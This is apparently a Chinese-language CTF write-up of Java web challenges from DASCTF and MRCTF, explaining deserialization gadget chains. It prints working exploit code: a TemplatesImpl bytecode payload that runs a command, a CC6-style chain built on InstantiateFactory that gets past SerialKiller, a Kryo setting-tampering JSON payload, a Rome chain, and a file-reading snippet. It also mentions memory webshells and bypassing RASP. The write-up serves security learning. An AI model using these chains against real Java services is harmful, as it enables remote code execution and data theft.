DASCTF
warmupjava
看到了 InvocationHandler 和 invoke 确实立马想到了动态代理进行反序列化,但是无奈经验还是太少了。
这里invoke已经为我们实现好了,关键还是在于找到一个类的方法,最好在第一次反射调用方法时就能任意代码执行,templates类就正好:
第一个方法getOutputProperties()会继续调用newTransformer()然后到getTransletInstance(),就会加载自定义类的静态代码部分,完成攻击,那么如何构造呢?来借鉴CC2。
首先利用javassist得到可执行命令的恶意字节码以及要利用的templates和代理:
public static class evilPayload extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(evilPayload.class)));
CtClass clazz = pool.get((evilPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("CyanM0un");
TemplatesImpl tmplates = new TemplatesImpl();
setFieldValue(tmplates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(tmplates, "_name", "HelloTemplatesTmpl");
setFieldValue(tmplates, "_tfactory", new TransformerFactoryImpl());
MyInHandle s = new MyInHandle(Templates.class);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{ Comparator.class },s);//调用comparator的任何方法会先调用MyInHandle的invoke方法
然后仿照CC2链即可
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);
Object[] objects = new Object[]{templates, templates};
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);
稍微用下原来的Utils类即可:
总的来说,更像半条CC2链
MRCTF
shell basic
学习了tomcat的部署运行,上传war,冰蝎使用:
Tomcat后台上传war包getshell复现
easy java
FactoryTransformer的transform可以调用任意Factory子类的create方法
其中
org.apache.commons.collections.functors.InstantiateFactory#create
可以实例化任意类,代替InstantiateTransformer
去实例化对象
所以payload如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "path/serialkiller.xml");
ois.readObject();
}
}
熟悉CC6的就不用往下看了,这里有两个细节:
- 对expMap做put操作会触发hashCode,提前触发payload,并且导致报错出现,可以先设置一个无关紧要的transformer(比如ConstantTransformer)最后再反射替换成我们恶意的Transformer
- 为什么最后要outerMap.remove():在前面expMap.put()的时候,我们最终会进入到LazyMap的get方法中:
如果LazyMap没有键值为keykey,那么会调用factory的transform方法,这里为之前的ConstantTransform,返回值为1并将这个键值对放入LazyMap中(不知道为什么我在new expMap的时候就添加进去了)。所以最后要将它删除才能在反序列化的时候进入这里。算是消除expMap.put的影响。
可以执行命令后,因为目标不出网,既可以注入内存马(没有学过的可以看看:利用 intercetor 注入 spring 内存 webshell,代码实现),也可以直接把flag写到目录下读
springcoffee
关于demo路由,主要是根据输入修改一些关键配置,我们仅需发送:
{"polish":"true","RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}
去关闭注册功能,那么这行代码是怎么来的呢?
可以跟着y4师傅的思路一步一步来,先把环境代码配置好,关于payload部分后续根据一些链接学习,然后:
确实看到了这个报错:Class is not registered: java.util.HashMap
看看Kryo的构造函数:
public Kryo(ClassResolver classResolver, ReferenceResolver referenceResolver) {
/...省略/
this.register(Integer.TYPE, new IntSerializer());
this.register(String.class, new StringSerializer());
this.register(Float.TYPE, new FloatSerializer());
this.register(Boolean.TYPE, new BooleanSerializer());
this.register(Byte.TYPE, new ByteSerializer());
this.register(Character.TYPE, new CharSerializer());
this.register(Short.TYPE, new ShortSerializer());
this.register(Long.TYPE, new LongSerializer());
this.register(Double.TYPE, new DoubleSerializer());
}
}
实例化的时候注册了一些基本类型,代码中有this.kryo.register(Mocha.class)
添加到测试代码中,然后调试,确实可以看出默认是FieldSerializer
这道题思路触发的核心是通过com.esotericsoftware.kryo.serializers.MapSerializer
(先知道是它,后面再继续学习相应的payload),但是这里我们没法自己注册,就需要用到上面那个demo路由,它可以根据我们前端传入的json当中的属性控制执行对应的set方法做属性更改。
先看看能对哪些属性做更改,其实就是输出下set为首的函数名
然后找到异常处,在com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)
再调试看看
根据类型在this.classResolver.getRegistration无结果就会抛出异常,通过debug输出classResolver当中的关键信息
确实没有Hashmap,但是如果将this.registerRequired设为false,即使为NULL也不会出异常,会紧接着执行registerImplicit
方法
最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer
所以传入
{"RegistrationRequired":false}
然后就是下一个问题:我们序列化的类需要有无参构造函数
跟到com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstantiatorOf
看看
所以最后传参:
{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}
最后的一个点就是_tfactory
空指针异常,因为Rome链通过触发com.rometools.rome.feed.impl.EqualsBean#beanEquals
我们能调用任意get方法
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
虎符:虎符 2022 ezchain
Rome反序列化:ROEM链及其缩短链,ROME改造计划
Kryo反序列化:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)
最后再记录下读文件和目录的代码:
String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
//传入read=file:///读根目录
然后就是用UNIXProcess绕过Rasp了
参考链接
https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/
https://forum.butian.net/share/1520